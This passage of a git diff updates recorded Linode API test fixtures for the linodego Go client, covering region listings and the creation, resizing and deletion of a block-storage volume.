1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}], "page": 1, "pages": 1, "results": 25}' headers: Access-Control-Allow-Credentials: - "true" @@ -76,19 +264,23 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=900 - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter + - Accept-Encoding X-Accepted-Oauth-Scopes: - '*' X-Content-Type-Options: @@ -97,9 +289,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -118,7 +313,7 @@ interactions: url: https://api.linode.com/v4beta/volumes method: POST response: - body: '{"id": 566465, "status": "creating", "label": "go-vol-test-def", "created": + body: '{"id": 4210923, "status": "creating", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": @@ -135,15 +330,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "317" + - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:14 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -156,9 +355,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "100" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -174,10 +376,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566465 + url: https://api.linode.com/v4beta/volumes/4210923 method: GET response: - body: '{"id": 566465, "status": "active", "label": "go-vol-test-def", "created": + body: '{"id": 4210923, "status": "active", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 20, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": @@ -194,16 +396,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=0, s-maxage=0, no-cache, no-store - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "315" + - "316" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:30 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -217,9 +422,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -235,10 +443,10 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566465/resize + url: https://api.linode.com/v4beta/volumes/4210923/resize method: POST response: - body: '{"id": 566465, "status": "resizing", "label": "go-vol-test-def", "created": + body: '{"id": 4210923, "status": "resizing", "label": "go-vol-test-def", "created": "2018-01-02T03:04:05", "updated": "2018-01-02T03:04:05", "filesystem_path": "/dev/disk/by-id/scsi-0Linode_Volume_go-vol-test-def", "size": 21, "linode_id": null, "linode_label": null, "region": "ap-west", "tags": [], "hardware_type": @@ -255,15 +463,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - - "317" + - "318" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:30 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -276,9 +488,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK @@ -294,7 +509,7 @@ interactions: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego - url: https://api.linode.com/v4beta/volumes/566465 + url: https://api.linode.com/v4beta/volumes/4210923 method: DELETE response: body: '{}' @@ -310,15 +525,19 @@ interactions: Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - - private, max-age=60, s-maxage=60 + - max-age=0, no-cache, no-store + Connection: + - keep-alive Content-Length: - "2" Content-Security-Policy: - default-src 'none' Content-Type: - application/json - Server: - - nginx + Expires: + - Fri, 31 May 2024 17:34:35 GMT + Pragma: + - no-cache Strict-Transport-Security: - max-age=31536000 Vary: @@ -331,9 +550,12 @@ interactions: - DENY - DENY X-Oauth-Scopes: - - '*' + - account:read_write databases:read_write domains:read_write events:read_write + firewall:read_write images:read_write ips:read_write linodes:read_write lke:read_write + longview:read_write nodebalancers:read_write object_storage:read_write stackscripts:read_write + volumes:read_write vpc:read_write X-Ratelimit-Limit: - - "800" + - "400" X-Xss-Protection: - 1; mode=block status: 200 OK diff --git a/test/integration/fixtures/TestVolume_Update.yaml b/test/integration/fixtures/TestVolume_Update.yaml index 46df147c9..f99801cd7 100644 --- a/test/integration/fixtures/TestVolume_Update.yaml +++ b/test/integration/fixtures/TestVolume_Update.yaml @@ -14,56 +14,244 @@ interactions: url: https://api.linode.com/v4beta/regions method: GET response: - body: '{"data": [{"id": "ap-west", "country": "in", "capabilities": ["Linodes", - "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "172.105.34.5,172.105.35.5,172.105.36.5,172.105.37.5,172.105.38.5,172.105.39.5,172.105.40.5,172.105.41.5,172.105.42.5,172.105.43.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ca-central", "country": "ca", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.0.5,172.105.3.5,172.105.4.5,172.105.5.5,172.105.6.5,172.105.7.5,172.105.8.5,172.105.9.5,172.105.10.5,172.105.11.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-southeast", "country": "au", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "172.105.166.5,172.105.169.5,172.105.168.5,172.105.172.5,172.105.162.5,172.105.170.5,172.105.167.5,172.105.171.5,172.105.181.5,172.105.161.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-central", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "72.14.179.5,72.14.188.5,173.255.199.5,66.228.53.5,96.126.122.5,96.126.124.5,96.126.127.5,198.58.107.5,198.58.111.5,23.239.24.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-west", "country": "us", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "173.230.145.5,173.230.147.5,173.230.155.5,173.255.212.5,173.255.219.5,173.255.241.5,173.255.243.5,173.255.244.5,74.207.241.5,74.207.242.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-southeast", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + body: '{"data": [{"id": "ap-west", "label": "Mumbai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "GPU Linodes", "Kubernetes", + "Cloud Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", + "Metadata"], "status": "ok", "resolvers": {"ipv4": "172.105.34.5, 172.105.35.5, + 172.105.36.5, 172.105.37.5, 172.105.38.5, 172.105.39.5, 172.105.40.5, 172.105.41.5, + 172.105.42.5, 172.105.43.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ca-central", "label": "Toronto, CA", "country": "ca", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.0.5, 172.105.3.5, 172.105.4.5, + 172.105.5.5, 172.105.6.5, 172.105.7.5, 172.105.8.5, 172.105.9.5, 172.105.10.5, + 172.105.11.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "ap-southeast", "label": "Sydney, AU", "country": "au", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "172.105.166.5, 172.105.169.5, 172.105.168.5, + 172.105.172.5, 172.105.162.5, 172.105.170.5, 172.105.167.5, 172.105.171.5, 172.105.181.5, + 172.105.161.5", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-iad", "label": "Washington, DC", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium + Plans"], "status": "ok", "resolvers": {"ipv4": "139.144.192.62, 139.144.192.60, + 139.144.192.61, 139.144.192.53, 139.144.192.54, 139.144.192.67, 139.144.192.69, + 139.144.192.66, 139.144.192.52, 139.144.192.68", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-ord", "label": "Chicago, IL", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", + "Managed Databases", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.0.17, 172.232.0.16, 172.232.0.21, 172.232.0.13, 172.232.0.22, + 172.232.0.9, 172.232.0.19, 172.232.0.20, 172.232.0.15, 172.232.0.18", "ipv6": + "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "fr-par", "label": + "Paris, FR", "country": "fr", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "74.207.231.5,173.230.128.5,173.230.129.5,173.230.136.5,173.230.140.5,66.228.59.5,66.228.62.5,50.116.35.5,50.116.41.5,23.239.18.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "us-east", "country": "us", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Managed Databases", "Metadata", "Premium Plans"], "status": + "ok", "resolvers": {"ipv4": "172.232.32.21, 172.232.32.23, 172.232.32.17, 172.232.32.18, + 172.232.32.16, 172.232.32.22, 172.232.32.20, 172.232.32.14, 172.232.32.11, 172.232.32.12", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-sea", "label": + "Seattle, WA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Bare Metal", "Block Storage Migrations", "Managed Databases"], "status": "ok", - "resolvers": {"ipv4": "66.228.42.5,96.126.106.5,50.116.53.5,50.116.58.5,50.116.61.5,50.116.62.5,66.175.211.5,97.107.133.4,207.192.69.4,207.192.69.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-west", "country": "uk", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "178.79.182.5,176.58.107.5,176.58.116.5,176.58.121.5,151.236.220.5,212.71.252.5,212.71.253.5,109.74.192.20,109.74.193.20,109.74.194.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-south", "country": "sg", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.232.160.19, 172.232.160.21, 172.232.160.17, 172.232.160.15, 172.232.160.18, + 172.232.160.8, 172.232.160.12, 172.232.160.11, 172.232.160.14, 172.232.160.16", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "br-gru", "label": + "Sao Paulo, BR", "country": "br", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.0.4, 172.233.0.9, 172.233.0.7, 172.233.0.12, 172.233.0.5, 172.233.0.13, + 172.233.0.10, 172.233.0.6, 172.233.0.8, 172.233.0.11", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "nl-ams", "label": "Amsterdam, NL", "country": + "nl", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", "VPCs", "Metadata", + "Premium Plans"], "status": "ok", "resolvers": {"ipv4": "172.233.33.36, 172.233.33.38, + 172.233.33.35, 172.233.33.39, 172.233.33.34, 172.233.33.33, 172.233.33.31, 172.233.33.30, + 172.233.33.37, 172.233.33.32", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "se-sto", "label": "Stockholm, SE", "country": "se", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.128.24, 172.232.128.26, 172.232.128.20, 172.232.128.22, + 172.232.128.25, 172.232.128.19, 172.232.128.23, 172.232.128.18, 172.232.128.21, + 172.232.128.27", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "es-mad", "label": "Madrid, ES", "country": "es", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.233.111.6, 172.233.111.17, 172.233.111.21, 172.233.111.25, + 172.233.111.19, 172.233.111.12, 172.233.111.26, 172.233.111.16, 172.233.111.18, + 172.233.111.9", "ipv6": "1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "in-maa", "label": "Chennai, IN", "country": "in", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "Kubernetes", + "Cloud Firewall", "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", + "resolvers": {"ipv4": "172.232.96.17, 172.232.96.26, 172.232.96.19, 172.232.96.20, + 172.232.96.25, 172.232.96.21, 172.232.96.18, 172.232.96.22, 172.232.96.23, 172.232.96.24", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "jp-osa", "label": + "Osaka, JP", "country": "jp", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.11.5,139.162.13.5,139.162.14.5,139.162.15.5,139.162.16.5,139.162.21.5,139.162.27.5,103.3.60.18,103.3.60.19,103.3.60.20", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "eu-central", "country": "de", "capabilities": ["Linodes", "NodeBalancers", + "Vlans", "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": + {"ipv4": "172.233.64.44, 172.233.64.43, 172.233.64.37, 172.233.64.40, 172.233.64.46, + 172.233.64.41, 172.233.64.39, 172.233.64.42, 172.233.64.45, 172.233.64.38", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "it-mil", "label": + "Milan, IT", "country": "it", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.192.19, 172.232.192.18, 172.232.192.16, 172.232.192.20, 172.232.192.24, + 172.232.192.21, 172.232.192.22, 172.232.192.17, 172.232.192.15, 172.232.192.23", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-mia", "label": + "Miami, FL", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.160.34, 172.233.160.27, 172.233.160.30, 172.233.160.29, 172.233.160.32, + 172.233.160.28, 172.233.160.33, 172.233.160.26, 172.233.160.25, 172.233.160.31", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "id-cgk", "label": + "Jakarta, ID", "country": "id", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.232.224.23, 172.232.224.32, 172.232.224.26, 172.232.224.27, 172.232.224.21, + 172.232.224.24, 172.232.224.22, 172.232.224.20, 172.232.224.31, 172.232.224.28", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-lax", "label": + "Los Angeles, CA", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", + "Block Storage", "Object Storage", "Kubernetes", "Cloud Firewall", "Vlans", + "VPCs", "Metadata", "Premium Plans"], "status": "ok", "resolvers": {"ipv4": + "172.233.128.45, 172.233.128.38, 172.233.128.53, 172.233.128.37, 172.233.128.34, + 172.233.128.36, 172.233.128.33, 172.233.128.39, 172.233.128.43, 172.233.128.44", + "ipv6": "1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, + 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-central", + "label": "Dallas, TX", "country": "us", "capabilities": ["Linodes", "Backups", + "NodeBalancers", "Block Storage", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "72.14.179.5, 72.14.188.5, 173.255.199.5, 66.228.53.5, 96.126.122.5, + 96.126.124.5, 96.126.127.5, 198.58.107.5, 198.58.111.5, 23.239.24.5", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "us-west", "label": "Fremont, CA", "country": "us", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "173.230.145.5, 173.230.147.5, 173.230.155.5, + 173.255.212.5, 173.255.219.5, 173.255.241.5, 173.255.243.5, 173.255.244.5, 74.207.241.5, + 74.207.242.5", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "us-southeast", "label": "Atlanta, GA", "country": + "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "74.207.231.5, 173.230.128.5, 173.230.129.5, 173.230.136.5, 173.230.140.5, + 66.228.59.5, 66.228.62.5, 50.116.35.5, 50.116.41.5, 23.239.18.5", "ipv6": "1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": {"maximum_pgs_per_customer": + 100, "maximum_linodes_per_pg": 5}, "site_type": "core"}, {"id": "us-east", "label": + "Newark, NJ", "country": "us", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", - "Vlans", "Block Storage Migrations", "Managed Databases"], "status": "ok", "resolvers": - {"ipv4": "139.162.130.5,139.162.131.5,139.162.132.5,139.162.133.5,139.162.134.5,139.162.135.5,139.162.136.5,139.162.137.5,139.162.138.5,139.162.139.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}, - {"id": "ap-northeast", "country": "jp", "capabilities": ["Linodes", "NodeBalancers", - "Block Storage", "Kubernetes", "Cloud Firewall", "Block Storage Migrations", - "Managed Databases"], "status": "ok", "resolvers": {"ipv4": "139.162.66.5,139.162.67.5,139.162.68.5,139.162.69.5,139.162.70.5,139.162.71.5,139.162.72.5,139.162.73.5,139.162.74.5,139.162.75.5", - "ipv6": "1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678,1234::5678"}}], - "page": 1, "pages": 1, "results": 11}' + "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], "status": + "ok", "resolvers": {"ipv4": "66.228.42.5, 96.126.106.5, 50.116.53.5, 50.116.58.5, + 50.116.61.5, 50.116.62.5, 66.175.211.5, 97.107.133.4, 207.192.69.4, 207.192.69.5", + "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-west", "label": "London, UK", "country": "gb", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Kubernetes", "Cloud + Firewall", "Vlans", "Block Storage Migrations", "Managed Databases", "Metadata"], + "status": "ok", "resolvers": {"ipv4": "178.79.182.5, 176.58.107.5, 176.58.116.5, + 176.58.121.5, 151.236.220.5, 212.71.252.5, 212.71.253.5, 109.74.192.20, 109.74.193.20, + 109.74.194.20", "ipv6": "1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, + "placement_group_limits": {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": + 5}, "site_type": "core"}, {"id": "ap-south", "label": "Singapore, SG", "country": + "sg", "capabilities": ["Linodes", "Backups", "NodeBalancers", "Block Storage", + "Object Storage", "GPU Linodes", "Kubernetes", "Cloud Firewall", "Vlans", "Block + Storage Migrations", "Managed Databases", "Metadata"], "status": "ok", "resolvers": + {"ipv4": "139.162.11.5, 139.162.13.5, 139.162.14.5, 139.162.15.5, 139.162.16.5, + 139.162.21.5, 139.162.27.5, 103.3.60.18, 103.3.60.19, 103.3.60.20", "ipv6": + "1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, 1234::5678, + 1234::5678, 1234::5678, 1234::5678, 1234::5678"}, "placement_group_limits": + {"maximum_pgs_per_customer": 100, "maximum_linodes_per_pg": 5}, "site_type": + "core"}, {"id": "eu-central", "label": "Frankfurt, DE", "country": "de", "capabilities": + ["Linodes", "Backups", "NodeBalancers", "Block Storage", "Object Storage", "GPU + Linodes", "Kubernetes", "Cloud 